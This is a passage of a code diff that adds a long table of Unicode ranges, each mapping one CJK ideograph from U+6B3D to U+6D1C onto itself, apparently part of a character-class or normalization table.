+ ["\u6B3D", "\u6B3D"], /* CJK Ideograph */
+ ["\u6B3E", "\u6B3E"], /* CJK Ideograph */
+ ["\u6B3F", "\u6B3F"], /* CJK Ideograph */
+ ["\u6B40", "\u6B40"], /* CJK Ideograph */
+ ["\u6B41", "\u6B41"], /* CJK Ideograph */
+ ["\u6B42", "\u6B42"], /* CJK Ideograph */
+ ["\u6B43", "\u6B43"], /* CJK Ideograph */
+ ["\u6B44", "\u6B44"], /* CJK Ideograph */
+ ["\u6B45", "\u6B45"], /* CJK Ideograph */
+ ["\u6B46", "\u6B46"], /* CJK Ideograph */
+ ["\u6B47", "\u6B47"], /* CJK Ideograph */
+ ["\u6B48", "\u6B48"], /* CJK Ideograph */
+ ["\u6B49", "\u6B49"], /* CJK Ideograph */
+ ["\u6B4A", "\u6B4A"], /* CJK Ideograph */
+ ["\u6B4B", "\u6B4B"], /* CJK Ideograph */
+ ["\u6B4C", "\u6B4C"], /* CJK Ideograph */
+ ["\u6B4D", "\u6B4D"], /* CJK Ideograph */
+ ["\u6B4E", "\u6B4E"], /* CJK Ideograph */
+ ["\u6B4F", "\u6B4F"], /* CJK Ideograph */
+ ["\u6B50", "\u6B50"], /* CJK Ideograph */
+ ["\u6B51", "\u6B51"], /* CJK Ideograph */
+ ["\u6B52", "\u6B52"], /* CJK Ideograph */
+ ["\u6B53", "\u6B53"], /* CJK Ideograph */
+ ["\u6B54", "\u6B54"], /* CJK Ideograph */
+ ["\u6B55", "\u6B55"], /* CJK Ideograph */
+ ["\u6B56", "\u6B56"], /* CJK Ideograph */
+ ["\u6B57", "\u6B57"], /* CJK Ideograph */
+ ["\u6B58", "\u6B58"], /* CJK Ideograph */
+ ["\u6B59", "\u6B59"], /* CJK Ideograph */
+ ["\u6B5A", "\u6B5A"], /* CJK Ideograph */
+ ["\u6B5B", "\u6B5B"], /* CJK Ideograph */
+ ["\u6B5C", "\u6B5C"], /* CJK Ideograph */
+ ["\u6B5D", "\u6B5D"], /* CJK Ideograph */
+ ["\u6B5E", "\u6B5E"], /* CJK Ideograph */
+ ["\u6B5F", "\u6B5F"], /* CJK Ideograph */
+ ["\u6B60", "\u6B60"], /* CJK Ideograph */
+ ["\u6B61", "\u6B61"], /* CJK Ideograph */
+ ["\u6B62", "\u6B62"], /* CJK Ideograph */
+ ["\u6B63", "\u6B63"], /* CJK Ideograph */
+ ["\u6B64", "\u6B64"], /* CJK Ideograph */
+ ["\u6B65", "\u6B65"], /* CJK Ideograph */
+ ["\u6B66", "\u6B66"], /* CJK Ideograph */
+ ["\u6B67", "\u6B67"], /* CJK Ideograph */
+ ["\u6B68", "\u6B68"], /* CJK Ideograph */
+ ["\u6B69", "\u6B69"], /* CJK Ideograph */
+ ["\u6B6A", "\u6B6A"], /* CJK Ideograph */
+ ["\u6B6B", "\u6B6B"], /* CJK Ideograph */
+ ["\u6B6C", "\u6B6C"], /* CJK Ideograph */
+ ["\u6B6D", "\u6B6D"], /* CJK Ideograph */
+ ["\u6B6E", "\u6B6E"], /* CJK Ideograph */
+ ["\u6B6F", "\u6B6F"], /* CJK Ideograph */
+ ["\u6B70", "\u6B70"], /* CJK Ideograph */
+ ["\u6B71", "\u6B71"], /* CJK Ideograph */
+ ["\u6B72", "\u6B72"], /* CJK Ideograph */
+ ["\u6B73", "\u6B73"], /* CJK Ideograph */
+ ["\u6B74", "\u6B74"], /* CJK Ideograph */
+ ["\u6B75", "\u6B75"], /* CJK Ideograph */
+ ["\u6B76", "\u6B76"], /* CJK Ideograph */
+ ["\u6B77", "\u6B77"], /* CJK Ideograph */
+ ["\u6B78", "\u6B78"], /* CJK Ideograph */
+ ["\u6B79", "\u6B79"], /* CJK Ideograph */
+ ["\u6B7A", "\u6B7A"], /* CJK Ideograph */
+ ["\u6B7B", "\u6B7B"], /* CJK Ideograph */
+ ["\u6B7C", "\u6B7C"], /* CJK Ideograph */
+ ["\u6B7D", "\u6B7D"], /* CJK Ideograph */
+ ["\u6B7E", "\u6B7E"], /* CJK Ideograph */
+ ["\u6B7F", "\u6B7F"], /* CJK Ideograph */
+ ["\u6B80", "\u6B80"], /* CJK Ideograph */
+ ["\u6B81", "\u6B81"], /* CJK Ideograph */
+ ["\u6B82", "\u6B82"], /* CJK Ideograph */
+ ["\u6B83", "\u6B83"], /* CJK Ideograph */
+ ["\u6B84", "\u6B84"], /* CJK Ideograph */
+ ["\u6B85", "\u6B85"], /* CJK Ideograph */
+ ["\u6B86", "\u6B86"], /* CJK Ideograph */
+ ["\u6B87", "\u6B87"], /* CJK Ideograph */
+ ["\u6B88", "\u6B88"], /* CJK Ideograph */
+ ["\u6B89", "\u6B89"], /* CJK Ideograph */
+ ["\u6B8A", "\u6B8A"], /* CJK Ideograph */
+ ["\u6B8B", "\u6B8B"], /* CJK Ideograph */
+ ["\u6B8C", "\u6B8C"], /* CJK Ideograph */
+ ["\u6B8D", "\u6B8D"], /* CJK Ideograph */
+ ["\u6B8E", "\u6B8E"], /* CJK Ideograph */
+ ["\u6B8F", "\u6B8F"], /* CJK Ideograph */
+ ["\u6B90", "\u6B90"], /* CJK Ideograph */
+ ["\u6B91", "\u6B91"], /* CJK Ideograph */
+ ["\u6B92", "\u6B92"], /* CJK Ideograph */
+ ["\u6B93", "\u6B93"], /* CJK Ideograph */
+ ["\u6B94", "\u6B94"], /* CJK Ideograph */
+ ["\u6B95", "\u6B95"], /* CJK Ideograph */
+ ["\u6B96", "\u6B96"], /* CJK Ideograph */
+ ["\u6B97", "\u6B97"], /* CJK Ideograph */
+ ["\u6B98", "\u6B98"], /* CJK Ideograph */
+ ["\u6B99", "\u6B99"], /* CJK Ideograph */
+ ["\u6B9A", "\u6B9A"], /* CJK Ideograph */
+ ["\u6B9B", "\u6B9B"], /* CJK Ideograph */
+ ["\u6B9C", "\u6B9C"], /* CJK Ideograph */
+ ["\u6B9D", "\u6B9D"], /* CJK Ideograph */
+ ["\u6B9E", "\u6B9E"], /* CJK Ideograph */
+ ["\u6B9F", "\u6B9F"], /* CJK Ideograph */
+ ["\u6BA0", "\u6BA0"], /* CJK Ideograph */
+ ["\u6BA1", "\u6BA1"], /* CJK Ideograph */
+ ["\u6BA2", "\u6BA2"], /* CJK Ideograph */
+ ["\u6BA3", "\u6BA3"], /* CJK Ideograph */
+ ["\u6BA4", "\u6BA4"], /* CJK Ideograph */
+ ["\u6BA5", "\u6BA5"], /* CJK Ideograph */
+ ["\u6BA6", "\u6BA6"], /* CJK Ideograph */
+ ["\u6BA7", "\u6BA7"], /* CJK Ideograph */
+ ["\u6BA8", "\u6BA8"], /* CJK Ideograph */
+ ["\u6BA9", "\u6BA9"], /* CJK Ideograph */
+ ["\u6BAA", "\u6BAA"], /* CJK Ideograph */
+ ["\u6BAB", "\u6BAB"], /* CJK Ideograph */
+ ["\u6BAC", "\u6BAC"], /* CJK Ideograph */
+ ["\u6BAD", "\u6BAD"], /* CJK Ideograph */
+ ["\u6BAE", "\u6BAE"], /* CJK Ideograph */
+ ["\u6BAF", "\u6BAF"], /* CJK Ideograph */
+ ["\u6BB0", "\u6BB0"], /* CJK Ideograph */
+ ["\u6BB1", "\u6BB1"], /* CJK Ideograph */
+ ["\u6BB2", "\u6BB2"], /* CJK Ideograph */
+ ["\u6BB3", "\u6BB3"], /* CJK Ideograph */
+ ["\u6BB4", "\u6BB4"], /* CJK Ideograph */
+ ["\u6BB5", "\u6BB5"], /* CJK Ideograph */
+ ["\u6BB6", "\u6BB6"], /* CJK Ideograph */
+ ["\u6BB7", "\u6BB7"], /* CJK Ideograph */
+ ["\u6BB8", "\u6BB8"], /* CJK Ideograph */
+ ["\u6BB9", "\u6BB9"], /* CJK Ideograph */
+ ["\u6BBA", "\u6BBA"], /* CJK Ideograph */
+ ["\u6BBB", "\u6BBB"], /* CJK Ideograph */
+ ["\u6BBC", "\u6BBC"], /* CJK Ideograph */
+ ["\u6BBD", "\u6BBD"], /* CJK Ideograph */
+ ["\u6BBE", "\u6BBE"], /* CJK Ideograph */
+ ["\u6BBF", "\u6BBF"], /* CJK Ideograph */
+ ["\u6BC0", "\u6BC0"], /* CJK Ideograph */
+ ["\u6BC1", "\u6BC1"], /* CJK Ideograph */
+ ["\u6BC2", "\u6BC2"], /* CJK Ideograph */
+ ["\u6BC3", "\u6BC3"], /* CJK Ideograph */
+ ["\u6BC4", "\u6BC4"], /* CJK Ideograph */
+ ["\u6BC5", "\u6BC5"], /* CJK Ideograph */
+ ["\u6BC6", "\u6BC6"], /* CJK Ideograph */
+ ["\u6BC7", "\u6BC7"], /* CJK Ideograph */
+ ["\u6BC8", "\u6BC8"], /* CJK Ideograph */
+ ["\u6BC9", "\u6BC9"], /* CJK Ideograph */
+ ["\u6BCA", "\u6BCA"], /* CJK Ideograph */
+ ["\u6BCB", "\u6BCB"], /* CJK Ideograph */
+ ["\u6BCC", "\u6BCC"], /* CJK Ideograph */
+ ["\u6BCD", "\u6BCD"], /* CJK Ideograph */
+ ["\u6BCE", "\u6BCE"], /* CJK Ideograph */
+ ["\u6BCF", "\u6BCF"], /* CJK Ideograph */
+ ["\u6BD0", "\u6BD0"], /* CJK Ideograph */
+ ["\u6BD1", "\u6BD1"], /* CJK Ideograph */
+ ["\u6BD2", "\u6BD2"], /* CJK Ideograph */
+ ["\u6BD3", "\u6BD3"], /* CJK Ideograph */
+ ["\u6BD4", "\u6BD4"], /* CJK Ideograph */
+ ["\u6BD5", "\u6BD5"], /* CJK Ideograph */
+ ["\u6BD6", "\u6BD6"], /* CJK Ideograph */
+ ["\u6BD7", "\u6BD7"], /* CJK Ideograph */
+ ["\u6BD8", "\u6BD8"], /* CJK Ideograph */
+ ["\u6BD9", "\u6BD9"], /* CJK Ideograph */
+ ["\u6BDA", "\u6BDA"], /* CJK Ideograph */
+ ["\u6BDB", "\u6BDB"], /* CJK Ideograph */
+ ["\u6BDC", "\u6BDC"], /* CJK Ideograph */
+ ["\u6BDD", "\u6BDD"], /* CJK Ideograph */
+ ["\u6BDE", "\u6BDE"], /* CJK Ideograph */
+ ["\u6BDF", "\u6BDF"], /* CJK Ideograph */
+ ["\u6BE0", "\u6BE0"], /* CJK Ideograph */
+ ["\u6BE1", "\u6BE1"], /* CJK Ideograph */
+ ["\u6BE2", "\u6BE2"], /* CJK Ideograph */
+ ["\u6BE3", "\u6BE3"], /* CJK Ideograph */
+ ["\u6BE4", "\u6BE4"], /* CJK Ideograph */
+ ["\u6BE5", "\u6BE5"], /* CJK Ideograph */
+ ["\u6BE6", "\u6BE6"], /* CJK Ideograph */
+ ["\u6BE7", "\u6BE7"], /* CJK Ideograph */
+ ["\u6BE8", "\u6BE8"], /* CJK Ideograph */
+ ["\u6BE9", "\u6BE9"], /* CJK Ideograph */
+ ["\u6BEA", "\u6BEA"], /* CJK Ideograph */
+ ["\u6BEB", "\u6BEB"], /* CJK Ideograph */
+ ["\u6BEC", "\u6BEC"], /* CJK Ideograph */
+ ["\u6BED", "\u6BED"], /* CJK Ideograph */
+ ["\u6BEE", "\u6BEE"], /* CJK Ideograph */
+ ["\u6BEF", "\u6BEF"], /* CJK Ideograph */
+ ["\u6BF0", "\u6BF0"], /* CJK Ideograph */
+ ["\u6BF1", "\u6BF1"], /* CJK Ideograph */
+ ["\u6BF2", "\u6BF2"], /* CJK Ideograph */
+ ["\u6BF3", "\u6BF3"], /* CJK Ideograph */
+ ["\u6BF4", "\u6BF4"], /* CJK Ideograph */
+ ["\u6BF5", "\u6BF5"], /* CJK Ideograph */
+ ["\u6BF6", "\u6BF6"], /* CJK Ideograph */
+ ["\u6BF7", "\u6BF7"], /* CJK Ideograph */
+ ["\u6BF8", "\u6BF8"], /* CJK Ideograph */
+ ["\u6BF9", "\u6BF9"], /* CJK Ideograph */
+ ["\u6BFA", "\u6BFA"], /* CJK Ideograph */
+ ["\u6BFB", "\u6BFB"], /* CJK Ideograph */
+ ["\u6BFC", "\u6BFC"], /* CJK Ideograph */
+ ["\u6BFD", "\u6BFD"], /* CJK Ideograph */
+ ["\u6BFE", "\u6BFE"], /* CJK Ideograph */
+ ["\u6BFF", "\u6BFF"], /* CJK Ideograph */
+ ["\u6C00", "\u6C00"], /* CJK Ideograph */
+ ["\u6C01", "\u6C01"], /* CJK Ideograph */
+ ["\u6C02", "\u6C02"], /* CJK Ideograph */
+ ["\u6C03", "\u6C03"], /* CJK Ideograph */
+ ["\u6C04", "\u6C04"], /* CJK Ideograph */
+ ["\u6C05", "\u6C05"], /* CJK Ideograph */
+ ["\u6C06", "\u6C06"], /* CJK Ideograph */
+ ["\u6C07", "\u6C07"], /* CJK Ideograph */
+ ["\u6C08", "\u6C08"], /* CJK Ideograph */
+ ["\u6C09", "\u6C09"], /* CJK Ideograph */
+ ["\u6C0A", "\u6C0A"], /* CJK Ideograph */
+ ["\u6C0B", "\u6C0B"], /* CJK Ideograph */
+ ["\u6C0C", "\u6C0C"], /* CJK Ideograph */
+ ["\u6C0D", "\u6C0D"], /* CJK Ideograph */
+ ["\u6C0E", "\u6C0E"], /* CJK Ideograph */
+ ["\u6C0F", "\u6C0F"], /* CJK Ideograph */
+ ["\u6C10", "\u6C10"], /* CJK Ideograph */
+ ["\u6C11", "\u6C11"], /* CJK Ideograph */
+ ["\u6C12", "\u6C12"], /* CJK Ideograph */
+ ["\u6C13", "\u6C13"], /* CJK Ideograph */
+ ["\u6C14", "\u6C14"], /* CJK Ideograph */
+ ["\u6C15", "\u6C15"], /* CJK Ideograph */
+ ["\u6C16", "\u6C16"], /* CJK Ideograph */
+ ["\u6C17", "\u6C17"], /* CJK Ideograph */
+ ["\u6C18", "\u6C18"], /* CJK Ideograph */
+ ["\u6C19", "\u6C19"], /* CJK Ideograph */
+ ["\u6C1A", "\u6C1A"], /* CJK Ideograph */
+ ["\u6C1B", "\u6C1B"], /* CJK Ideograph */
+ ["\u6C1C", "\u6C1C"], /* CJK Ideograph */
+ ["\u6C1D", "\u6C1D"], /* CJK Ideograph */
+ ["\u6C1E", "\u6C1E"], /* CJK Ideograph */
+ ["\u6C1F", "\u6C1F"], /* CJK Ideograph */
+ ["\u6C20", "\u6C20"], /* CJK Ideograph */
+ ["\u6C21", "\u6C21"], /* CJK Ideograph */
+ ["\u6C22", "\u6C22"], /* CJK Ideograph */
+ ["\u6C23", "\u6C23"], /* CJK Ideograph */
+ ["\u6C24", "\u6C24"], /* CJK Ideograph */
+ ["\u6C25", "\u6C25"], /* CJK Ideograph */
+ ["\u6C26", "\u6C26"], /* CJK Ideograph */
+ ["\u6C27", "\u6C27"], /* CJK Ideograph */
+ ["\u6C28", "\u6C28"], /* CJK Ideograph */
+ ["\u6C29", "\u6C29"], /* CJK Ideograph */
+ ["\u6C2A", "\u6C2A"], /* CJK Ideograph */
+ ["\u6C2B", "\u6C2B"], /* CJK Ideograph */
+ ["\u6C2C", "\u6C2C"], /* CJK Ideograph */
+ ["\u6C2D", "\u6C2D"], /* CJK Ideograph */
+ ["\u6C2E", "\u6C2E"], /* CJK Ideograph */
+ ["\u6C2F", "\u6C2F"], /* CJK Ideograph */
+ ["\u6C30", "\u6C30"], /* CJK Ideograph */
+ ["\u6C31", "\u6C31"], /* CJK Ideograph */
+ ["\u6C32", "\u6C32"], /* CJK Ideograph */
+ ["\u6C33", "\u6C33"], /* CJK Ideograph */
+ ["\u6C34", "\u6C34"], /* CJK Ideograph */
+ ["\u6C35", "\u6C35"], /* CJK Ideograph */
+ ["\u6C36", "\u6C36"], /* CJK Ideograph */
+ ["\u6C37", "\u6C37"], /* CJK Ideograph */
+ ["\u6C38", "\u6C38"], /* CJK Ideograph */
+ ["\u6C39", "\u6C39"], /* CJK Ideograph */
+ ["\u6C3A", "\u6C3A"], /* CJK Ideograph */
+ ["\u6C3B", "\u6C3B"], /* CJK Ideograph */
+ ["\u6C3C", "\u6C3C"], /* CJK Ideograph */
+ ["\u6C3D", "\u6C3D"], /* CJK Ideograph */
+ ["\u6C3E", "\u6C3E"], /* CJK Ideograph */
+ ["\u6C3F", "\u6C3F"], /* CJK Ideograph */
+ ["\u6C40", "\u6C40"], /* CJK Ideograph */
+ ["\u6C41", "\u6C41"], /* CJK Ideograph */
+ ["\u6C42", "\u6C42"], /* CJK Ideograph */
+ ["\u6C43", "\u6C43"], /* CJK Ideograph */
+ ["\u6C44", "\u6C44"], /* CJK Ideograph */
+ ["\u6C45", "\u6C45"], /* CJK Ideograph */
+ ["\u6C46", "\u6C46"], /* CJK Ideograph */
+ ["\u6C47", "\u6C47"], /* CJK Ideograph */
+ ["\u6C48", "\u6C48"], /* CJK Ideograph */
+ ["\u6C49", "\u6C49"], /* CJK Ideograph */
+ ["\u6C4A", "\u6C4A"], /* CJK Ideograph */
+ ["\u6C4B", "\u6C4B"], /* CJK Ideograph */
+ ["\u6C4C", "\u6C4C"], /* CJK Ideograph */
+ ["\u6C4D", "\u6C4D"], /* CJK Ideograph */
+ ["\u6C4E", "\u6C4E"], /* CJK Ideograph */
+ ["\u6C4F", "\u6C4F"], /* CJK Ideograph */
+ ["\u6C50", "\u6C50"], /* CJK Ideograph */
+ ["\u6C51", "\u6C51"], /* CJK Ideograph */
+ ["\u6C52", "\u6C52"], /* CJK Ideograph */
+ ["\u6C53", "\u6C53"], /* CJK Ideograph */
+ ["\u6C54", "\u6C54"], /* CJK Ideograph */
+ ["\u6C55", "\u6C55"], /* CJK Ideograph */
+ ["\u6C56", "\u6C56"], /* CJK Ideograph */
+ ["\u6C57", "\u6C57"], /* CJK Ideograph */
+ ["\u6C58", "\u6C58"], /* CJK Ideograph */
+ ["\u6C59", "\u6C59"], /* CJK Ideograph */
+ ["\u6C5A", "\u6C5A"], /* CJK Ideograph */
+ ["\u6C5B", "\u6C5B"], /* CJK Ideograph */
+ ["\u6C5C", "\u6C5C"], /* CJK Ideograph */
+ ["\u6C5D", "\u6C5D"], /* CJK Ideograph */
+ ["\u6C5E", "\u6C5E"], /* CJK Ideograph */
+ ["\u6C5F", "\u6C5F"], /* CJK Ideograph */
+ ["\u6C60", "\u6C60"], /* CJK Ideograph */
+ ["\u6C61", "\u6C61"], /* CJK Ideograph */
+ ["\u6C62", "\u6C62"], /* CJK Ideograph */
+ ["\u6C63", "\u6C63"], /* CJK Ideograph */
+ ["\u6C64", "\u6C64"], /* CJK Ideograph */
+ ["\u6C65", "\u6C65"], /* CJK Ideograph */
+ ["\u6C66", "\u6C66"], /* CJK Ideograph */
+ ["\u6C67", "\u6C67"], /* CJK Ideograph */
+ ["\u6C68", "\u6C68"], /* CJK Ideograph */
+ ["\u6C69", "\u6C69"], /* CJK Ideograph */
+ ["\u6C6A", "\u6C6A"], /* CJK Ideograph */
+ ["\u6C6B", "\u6C6B"], /* CJK Ideograph */
+ ["\u6C6C", "\u6C6C"], /* CJK Ideograph */
+ ["\u6C6D", "\u6C6D"], /* CJK Ideograph */
+ ["\u6C6E", "\u6C6E"], /* CJK Ideograph */
+ ["\u6C6F", "\u6C6F"], /* CJK Ideograph */
+ ["\u6C70", "\u6C70"], /* CJK Ideograph */
+ ["\u6C71", "\u6C71"], /* CJK Ideograph */
+ ["\u6C72", "\u6C72"], /* CJK Ideograph */
+ ["\u6C73", "\u6C73"], /* CJK Ideograph */
+ ["\u6C74", "\u6C74"], /* CJK Ideograph */
+ ["\u6C75", "\u6C75"], /* CJK Ideograph */
+ ["\u6C76", "\u6C76"], /* CJK Ideograph */
+ ["\u6C77", "\u6C77"], /* CJK Ideograph */
+ ["\u6C78", "\u6C78"], /* CJK Ideograph */
+ ["\u6C79", "\u6C79"], /* CJK Ideograph */
+ ["\u6C7A", "\u6C7A"], /* CJK Ideograph */
+ ["\u6C7B", "\u6C7B"], /* CJK Ideograph */
+ ["\u6C7C", "\u6C7C"], /* CJK Ideograph */
+ ["\u6C7D", "\u6C7D"], /* CJK Ideograph */
+ ["\u6C7E", "\u6C7E"], /* CJK Ideograph */
+ ["\u6C7F", "\u6C7F"], /* CJK Ideograph */
+ ["\u6C80", "\u6C80"], /* CJK Ideograph */
+ ["\u6C81", "\u6C81"], /* CJK Ideograph */
+ ["\u6C82", "\u6C82"], /* CJK Ideograph */
+ ["\u6C83", "\u6C83"], /* CJK Ideograph */
+ ["\u6C84", "\u6C84"], /* CJK Ideograph */
+ ["\u6C85", "\u6C85"], /* CJK Ideograph */
+ ["\u6C86", "\u6C86"], /* CJK Ideograph */
+ ["\u6C87", "\u6C87"], /* CJK Ideograph */
+ ["\u6C88", "\u6C88"], /* CJK Ideograph */
+ ["\u6C89", "\u6C89"], /* CJK Ideograph */
+ ["\u6C8A", "\u6C8A"], /* CJK Ideograph */
+ ["\u6C8B", "\u6C8B"], /* CJK Ideograph */
+ ["\u6C8C", "\u6C8C"], /* CJK Ideograph */
+ ["\u6C8D", "\u6C8D"], /* CJK Ideograph */
+ ["\u6C8E", "\u6C8E"], /* CJK Ideograph */
+ ["\u6C8F", "\u6C8F"], /* CJK Ideograph */
+ ["\u6C90", "\u6C90"], /* CJK Ideograph */
+ ["\u6C91", "\u6C91"], /* CJK Ideograph */
+ ["\u6C92", "\u6C92"], /* CJK Ideograph */
+ ["\u6C93", "\u6C93"], /* CJK Ideograph */
+ ["\u6C94", "\u6C94"], /* CJK Ideograph */
+ ["\u6C95", "\u6C95"], /* CJK Ideograph */
+ ["\u6C96", "\u6C96"], /* CJK Ideograph */
+ ["\u6C97", "\u6C97"], /* CJK Ideograph */
+ ["\u6C98", "\u6C98"], /* CJK Ideograph */
+ ["\u6C99", "\u6C99"], /* CJK Ideograph */
+ ["\u6C9A", "\u6C9A"], /* CJK Ideograph */
+ ["\u6C9B", "\u6C9B"], /* CJK Ideograph */
+ ["\u6C9C", "\u6C9C"], /* CJK Ideograph */
+ ["\u6C9D", "\u6C9D"], /* CJK Ideograph */
+ ["\u6C9E", "\u6C9E"], /* CJK Ideograph */
+ ["\u6C9F", "\u6C9F"], /* CJK Ideograph */
+ ["\u6CA0", "\u6CA0"], /* CJK Ideograph */
+ ["\u6CA1", "\u6CA1"], /* CJK Ideograph */
+ ["\u6CA2", "\u6CA2"], /* CJK Ideograph */
+ ["\u6CA3", "\u6CA3"], /* CJK Ideograph */
+ ["\u6CA4", "\u6CA4"], /* CJK Ideograph */
+ ["\u6CA5", "\u6CA5"], /* CJK Ideograph */
+ ["\u6CA6", "\u6CA6"], /* CJK Ideograph */
+ ["\u6CA7", "\u6CA7"], /* CJK Ideograph */
+ ["\u6CA8", "\u6CA8"], /* CJK Ideograph */
+ ["\u6CA9", "\u6CA9"], /* CJK Ideograph */
+ ["\u6CAA", "\u6CAA"], /* CJK Ideograph */
+ ["\u6CAB", "\u6CAB"], /* CJK Ideograph */
+ ["\u6CAC", "\u6CAC"], /* CJK Ideograph */
+ ["\u6CAD", "\u6CAD"], /* CJK Ideograph */
+ ["\u6CAE", "\u6CAE"], /* CJK Ideograph */
+ ["\u6CAF", "\u6CAF"], /* CJK Ideograph */
+ ["\u6CB0", "\u6CB0"], /* CJK Ideograph */
+ ["\u6CB1", "\u6CB1"], /* CJK Ideograph */
+ ["\u6CB2", "\u6CB2"], /* CJK Ideograph */
+ ["\u6CB3", "\u6CB3"], /* CJK Ideograph */
+ ["\u6CB4", "\u6CB4"], /* CJK Ideograph */
+ ["\u6CB5", "\u6CB5"], /* CJK Ideograph */
+ ["\u6CB6", "\u6CB6"], /* CJK Ideograph */
+ ["\u6CB7", "\u6CB7"], /* CJK Ideograph */
+ ["\u6CB8", "\u6CB8"], /* CJK Ideograph */
+ ["\u6CB9", "\u6CB9"], /* CJK Ideograph */
+ ["\u6CBA", "\u6CBA"], /* CJK Ideograph */
+ ["\u6CBB", "\u6CBB"], /* CJK Ideograph */
+ ["\u6CBC", "\u6CBC"], /* CJK Ideograph */
+ ["\u6CBD", "\u6CBD"], /* CJK Ideograph */
+ ["\u6CBE", "\u6CBE"], /* CJK Ideograph */
+ ["\u6CBF", "\u6CBF"], /* CJK Ideograph */
+ ["\u6CC0", "\u6CC0"], /* CJK Ideograph */
+ ["\u6CC1", "\u6CC1"], /* CJK Ideograph */
+ ["\u6CC2", "\u6CC2"], /* CJK Ideograph */
+ ["\u6CC3", "\u6CC3"], /* CJK Ideograph */
+ ["\u6CC4", "\u6CC4"], /* CJK Ideograph */
+ ["\u6CC5", "\u6CC5"], /* CJK Ideograph */
+ ["\u6CC6", "\u6CC6"], /* CJK Ideograph */
+ ["\u6CC7", "\u6CC7"], /* CJK Ideograph */
+ ["\u6CC8", "\u6CC8"], /* CJK Ideograph */
+ ["\u6CC9", "\u6CC9"], /* CJK Ideograph */
+ ["\u6CCA", "\u6CCA"], /* CJK Ideograph */
+ ["\u6CCB", "\u6CCB"], /* CJK Ideograph */
+ ["\u6CCC", "\u6CCC"], /* CJK Ideograph */
+ ["\u6CCD", "\u6CCD"], /* CJK Ideograph */
+ ["\u6CCE", "\u6CCE"], /* CJK Ideograph */
+ ["\u6CCF", "\u6CCF"], /* CJK Ideograph */
+ ["\u6CD0", "\u6CD0"], /* CJK Ideograph */
+ ["\u6CD1", "\u6CD1"], /* CJK Ideograph */
+ ["\u6CD2", "\u6CD2"], /* CJK Ideograph */
+ ["\u6CD3", "\u6CD3"], /* CJK Ideograph */
+ ["\u6CD4", "\u6CD4"], /* CJK Ideograph */
+ ["\u6CD5", "\u6CD5"], /* CJK Ideograph */
+ ["\u6CD6", "\u6CD6"], /* CJK Ideograph */
+ ["\u6CD7", "\u6CD7"], /* CJK Ideograph */
+ ["\u6CD8", "\u6CD8"], /* CJK Ideograph */
+ ["\u6CD9", "\u6CD9"], /* CJK Ideograph */
+ ["\u6CDA", "\u6CDA"], /* CJK Ideograph */
+ ["\u6CDB", "\u6CDB"], /* CJK Ideograph */
+ ["\u6CDC", "\u6CDC"], /* CJK Ideograph */
+ ["\u6CDD", "\u6CDD"], /* CJK Ideograph */
+ ["\u6CDE", "\u6CDE"], /* CJK Ideograph */
+ ["\u6CDF", "\u6CDF"], /* CJK Ideograph */
+ ["\u6CE0", "\u6CE0"], /* CJK Ideograph */
+ ["\u6CE1", "\u6CE1"], /* CJK Ideograph */
+ ["\u6CE2", "\u6CE2"], /* CJK Ideograph */
+ ["\u6CE3", "\u6CE3"], /* CJK Ideograph */
+ ["\u6CE4", "\u6CE4"], /* CJK Ideograph */
+ ["\u6CE5", "\u6CE5"], /* CJK Ideograph */
+ ["\u6CE6", "\u6CE6"], /* CJK Ideograph */
+ ["\u6CE7", "\u6CE7"], /* CJK Ideograph */
+ ["\u6CE8", "\u6CE8"], /* CJK Ideograph */
+ ["\u6CE9", "\u6CE9"], /* CJK Ideograph */
+ ["\u6CEA", "\u6CEA"], /* CJK Ideograph */
+ ["\u6CEB", "\u6CEB"], /* CJK Ideograph */
+ ["\u6CEC", "\u6CEC"], /* CJK Ideograph */
+ ["\u6CED", "\u6CED"], /* CJK Ideograph */
+ ["\u6CEE", "\u6CEE"], /* CJK Ideograph */
+ ["\u6CEF", "\u6CEF"], /* CJK Ideograph */
+ ["\u6CF0", "\u6CF0"], /* CJK Ideograph */
+ ["\u6CF1", "\u6CF1"], /* CJK Ideograph */
+ ["\u6CF2", "\u6CF2"], /* CJK Ideograph */
+ ["\u6CF3", "\u6CF3"], /* CJK Ideograph */
+ ["\u6CF4", "\u6CF4"], /* CJK Ideograph */
+ ["\u6CF5", "\u6CF5"], /* CJK Ideograph */
+ ["\u6CF6", "\u6CF6"], /* CJK Ideograph */
+ ["\u6CF7", "\u6CF7"], /* CJK Ideograph */
+ ["\u6CF8", "\u6CF8"], /* CJK Ideograph */
+ ["\u6CF9", "\u6CF9"], /* CJK Ideograph */
+ ["\u6CFA", "\u6CFA"], /* CJK Ideograph */
+ ["\u6CFB", "\u6CFB"], /* CJK Ideograph */
+ ["\u6CFC", "\u6CFC"], /* CJK Ideograph */
+ ["\u6CFD", "\u6CFD"], /* CJK Ideograph */
+ ["\u6CFE", "\u6CFE"], /* CJK Ideograph */
+ ["\u6CFF", "\u6CFF"], /* CJK Ideograph */
+ ["\u6D00", "\u6D00"], /* CJK Ideograph */
+ ["\u6D01", "\u6D01"], /* CJK Ideograph */
+ ["\u6D02", "\u6D02"], /* CJK Ideograph */
+ ["\u6D03", "\u6D03"], /* CJK Ideograph */
+ ["\u6D04", "\u6D04"], /* CJK Ideograph */
+ ["\u6D05", "\u6D05"], /* CJK Ideograph */
+ ["\u6D06", "\u6D06"], /* CJK Ideograph */
+ ["\u6D07", "\u6D07"], /* CJK Ideograph */
+ ["\u6D08", "\u6D08"], /* CJK Ideograph */
+ ["\u6D09", "\u6D09"], /* CJK Ideograph */
+ ["\u6D0A", "\u6D0A"], /* CJK Ideograph */
+ ["\u6D0B", "\u6D0B"], /* CJK Ideograph */
+ ["\u6D0C", "\u6D0C"], /* CJK Ideograph */
+ ["\u6D0D", "\u6D0D"], /* CJK Ideograph */
+ ["\u6D0E", "\u6D0E"], /* CJK Ideograph */
+ ["\u6D0F", "\u6D0F"], /* CJK Ideograph */
+ ["\u6D10", "\u6D10"], /* CJK Ideograph */
+ ["\u6D11", "\u6D11"], /* CJK Ideograph */
+ ["\u6D12", "\u6D12"], /* CJK Ideograph */
+ ["\u6D13", "\u6D13"], /* CJK Ideograph */
+ ["\u6D14", "\u6D14"], /* CJK Ideograph */
+ ["\u6D15", "\u6D15"], /* CJK Ideograph */
+ ["\u6D16", "\u6D16"], /* CJK Ideograph */
+ ["\u6D17", "\u6D17"], /* CJK Ideograph */
+ ["\u6D18", "\u6D18"], /* CJK Ideograph */
+ ["\u6D19", "\u6D19"], /* CJK Ideograph */
+ ["\u6D1A", "\u6D1A"], /* CJK Ideograph */
+ ["\u6D1B", "\u6D1B"], /* CJK Ideograph */
+ ["\u6D1C", "\u6D1C"], /* CJK Ideograph */
